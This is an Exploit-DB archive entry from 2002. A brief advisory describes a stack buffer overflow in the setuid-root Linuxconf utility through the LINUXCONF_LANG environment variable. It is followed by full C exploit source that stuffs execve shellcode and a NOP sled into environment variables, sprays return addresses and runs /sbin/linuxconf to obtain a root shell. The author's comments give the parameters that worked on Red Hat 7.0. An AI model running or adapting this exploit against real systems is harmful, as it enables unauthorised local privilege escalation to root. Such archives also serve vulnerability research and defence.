Linuxconf 1.1.x/1.2.x - Local Environment Variable Buffer Overflow (2)

EDB-ID:

21762




Platform:

Linux

Date:

2002-08-28


// source: https://www.securityfocus.com/bid/5585/info
 
Linuxconf is a Linux configuration utility from Solucorp. It is typically installed as a setuid root utility for the management and configuration of Linux operating systems.
 
A buffer overflow vulnerability has been reported for Linuxconf. The vulnerability is due to insufficent bounds checking of the LINUXCONF_LANG environment variable. An attacker who sets the LINUXCONF_LANG environment variable with an overly large string will be able to cause the buffer overflow condition. 

/*
 * This is an exploit for the linuxconf overflow issue.
 *
 * The detail of this hole was published on 08.28.2002 by
 * David Endler from www.idefense.com. 
 *
 * Tested to work on Redhat 7.0 with linuxconf 1.25r3.
 * [The magic numbers that worked for me are: 980 500 2048 1]
 *
 * This is a classical example of stack smashing. Large portion 
 * of code were ripped from Aleph1's. So, credits due to him.
 *
 * Flame or comment goes to: jinyean@hotmail.com 
 *
 */

#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_ALIGN		0
#define DEFAULT_OFFSET		0
#define DEFAULT_BUFFER_SIZE	980
#define DEFAULT_EGG_SIZE	2048
#define NOP			0x90

char shellcode[]=
        "\xeb\x1f\x5e\x89\x76\x09\x31\xc0\x88\x46\x08\x89"
        "\x46\x0d\xb0\x0b\x89\xf3\x8d\x4e\x09\x8d\x56\x0d"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/ash";


unsigned long get_esp(void) {
	__asm__("movl %esp,%eax");
}

main(int argc, char *argv[]) {
	char *buff, *ptr, *egg;
	long *addr_ptr, addr;
	int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
	int i, eggsize=DEFAULT_EGG_SIZE, align=DEFAULT_ALIGN;

	if (argc>1) bsize=atoi(argv[1]);
	if (argc>2) offset=atoi(argv[2]);
	if (argc>3) eggsize=atoi(argv[3]);
	if (argc>4) align=atoi(argv[4]);

	if (!(buff=malloc(bsize))) {
		printf("Can't allocate memory.\n");
		exit(0);
	}
	if (!(egg=malloc(eggsize))) {
		printf("Can't allocate memory.\n");
	        exit(0);
	}

	addr=get_esp()-offset;
	printf("Using address: 0x%x\n",addr);

        ptr=buff;
	addr_ptr=(long *)(ptr+align);

	for (i=0; i<bsize; i+=4) 
		*(addr_ptr++)=addr;

	ptr=egg;

	for (i=0; i<eggsize-strlen(shellcode)-1; i++)
		*(ptr++)=NOP;

	for (i=0; i<strlen(shellcode); i++)
		*(ptr++)=shellcode[i];

	buff[bsize-1]='\0';
	egg[eggsize-1]='\0';

	memcpy(egg,"EGG=",4);
	putenv(egg);
	memcpy(buff,"LINUXCONF_LANG=",15);
	putenv(buff);
	execl("/sbin/linuxconf","linuxconf",NULL);

}